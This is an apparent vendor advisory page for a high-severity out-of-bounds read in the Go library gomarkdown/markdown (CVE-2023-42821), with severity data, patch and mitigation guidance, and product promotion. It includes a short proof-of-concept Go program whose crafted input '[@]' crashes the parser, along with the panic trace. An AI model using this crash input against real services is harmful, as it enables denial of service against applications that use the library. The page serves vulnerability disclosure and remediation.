How severe is GHSA-m9xq-6h2j-65r2?

GHSA-m9xq-6h2j-65r2 has a CVSS score of 7.5/10, rated HIGH. Immediate patching is strongly recommended.

Which packages are affected by GHSA-m9xq-6h2j-65r2?

GHSA-m9xq-6h2j-65r2 affects the following packages: github.com/gomarkdown/markdown (Go). Ecosystems affected: Go.

How do I fix GHSA-m9xq-6h2j-65r2?

Update github.com/gomarkdown/markdown to 0.0.0-20230922105210-14b16010c2ee or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-m9xq-6h2j-65r2 is resolved across your whole dependency graph.

How do I detect GHSA-m9xq-6h2j-65r2 in my Go dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/gomarkdown/markdown. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

How do I mitigate GHSA-m9xq-6h2j-65r2 if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against GHSA-m9xq-6h2j-65r2?

O3 pinpoints whether GHSA-m9xq-6h2j-65r2 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Is GHSA-m9xq-6h2j-65r2 actively exploited in the wild?

Yes. There are 1 known exploit references for GHSA-m9xq-6h2j-65r2, including 1 in-the-wild exploitation observed on GitHub and other sources. Treat this as actively exploitable and prioritize patching immediately. All exploit code should only be run in an isolated sandbox environment for research or authorized testing — never against production systems without explicit written authorization.

What is the EPSS score for GHSA-m9xq-6h2j-65r2?

GHSA-m9xq-6h2j-65r2 has an EPSS (Exploit Prediction Scoring System) score of 1.0%, placing it in the 60th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is GHSA-m9xq-6h2j-65r2?

GHSA-m9xq-6h2j-65r2 is classified as Out-of-bounds Read (CWE-125). This weakness type describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation.

When was GHSA-m9xq-6h2j-65r2 published, and has it been updated?

GHSA-m9xq-6h2j-65r2 was published on September 22, 2023 and was last updated on November 8, 2023. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐹 Go

GHSA-m9xq-6h2j-65r2

HIGH

Markdown vulnerable to Out-of-bounds Read while parsing citations

Also known asCVE-2023-42821GO-2023-2074

Published

Sep 22, 2023

Updated

Nov 8, 2023

Affected

1 pkg

Patched

1 / 1

Exploits

1 known

EPSS Exploitation Probability

via FIRST.org ↗

1.0%probability of exploitation in next 30 days

Lower Risk60th percentile+0.56%

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected

🐹github.com/gomarkdown/markdown

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Parsing malformed markdown input with parser that uses parser.Mmark extension could result in out-of-bounds read vulnerability.

Details

To exploit the vulnerability, parser needs to have parser.Mmark extension set. The panic occurs inside the citation.go file on the line 69 when the parser tries to access the element past its length.

https://github.com/gomarkdown/markdown/blob/7478c230c7cd3e7328803d89abe591d0b61c41e4/parser/citation.go#L69

PoC

package main

import (
	"github.com/gomarkdown/markdown"
	"github.com/gomarkdown/markdown/parser"
)

func main() {
	ext := parser.CommonExtensions |
		parser.Attributes |
		parser.OrderedListStart |
		parser.SuperSubscript |
		parser.Mmark
	p := parser.NewWithExtensions(ext)

	inp := []byte("[@]")
	markdown.ToHTML(inp, p, nil)
}

$ go run main.go
panic: runtime error: index out of range [1] with length 1

goroutine 1 [running]:
github.com/gomarkdown/markdown/parser.citation(0x10?, {0x1400000e3f0, 0x14000141801?, 0x3}, 0x0?)
	/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/parser/citation.go:69 +0x544
github.com/gomarkdown/markdown/parser.link(0x14000152000?, {0x1400000e3f0?, 0x3?, 0x3?}, 0x14000141ad8?)
	/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/parser/inline.go:308 +0x1c0
github.com/gomarkdown/markdown/parser.(*Parser).Inline(0x14000152000, {0x102d87f48, 0x14000076180}, {0x1400000e3f0, 0x3, 0x3})
	/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/parser/inline.go:38 +0xb8
github.com/gomarkdown/markdown/parser.(*Parser).Parse.func1({0x102d87f48?, 0x14000076180}, 0x0?)
	/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/parser/parser.go:307 +0x8c
github.com/gomarkdown/markdown/ast.NodeVisitorFunc.Visit(0x140000106e0?, {0x102d87f48?, 0x14000076180?}, 0x68?)
	/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/ast/node.go:574 +0x38
github.com/gomarkdown/markdown/ast.Walk({0x102d87f48, 0x14000076180}, {0x102d87348, 0x140000106e0})
	/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/ast/node.go:546 +0x58
github.com/gomarkdown/markdown/ast.Walk({0x102d877b0, 0x14000076120}, {0x102d87348, 0x140000106e0})
	/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/ast/node.go:557 +0x144
github.com/gomarkdown/markdown/ast.WalkFunc(...)
	/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/ast/node.go:580
github.com/gomarkdown/markdown/parser.(*Parser).Parse(0x14000152000, {0x1400000e3f0?, 0x0?, 0x0?})
	/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/parser/parser.go:304 +0x16c
github.com/gomarkdown/markdown.Parse({0x1400000e3f0?, 0x3f?, 0x14000141e38?}, 0x102c6b43c?)
	/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/markdown.go:53 +0x6c
github.com/gomarkdown/markdown.ToHTML({0x1400000e3f0?, 0x0?, 0x60?}, 0x0?, {0x0, 0x0})
	/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/markdown.go:77 +0x30
main.main()
	/Users/demon/tools/markdown_cve_poc/main.go:17 +0x5c
exit status 2

Impact

Denial of Service / panic

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
🐹Go	`github.com/gomarkdown/markdown`	all versions	0.0.0-20230922105210-14b16010c2ee

Exploits & PoCs

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

The package `github.com/gomarkdown/markdown` is a Go library for parsing…

github.comNVDSep 2023

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/gomarkdown/markdown. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/gomarkdown/markdown to 0.0.0-20230922105210-14b16010c2ee or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-m9xq-6h2j-65r2 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-m9xq-6h2j-65r2 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-m9xq-6h2j-65r2. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary Parsing malformed markdown input with parser that uses parser.Mmark extension could result in out-of-bounds read vulnerability. ### Details To exploit the vulnerability, parser needs to have parser.Mmark extension set. The panic occurs inside the `citation.go` file on the line 69 when the parser tries to access the element past its length. https://github.com/gomarkdown/markdown/blob/7478c230c7cd3e7328803d89abe591d0b61c41e4/parser/citation.go#L69 ### PoC ```go package main import ( "github.com/gomarkdown/markdown" "github.com/gomarkdown/markdown/parser" ) func main() { ext :

O3 Security · Impact-Aware SCA

Is GHSA-m9xq-6h2j-65r2 in your dependencies?

O3 detects GHSA-m9xq-6h2j-65r2 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

Scan my dependencies How O3 SCA works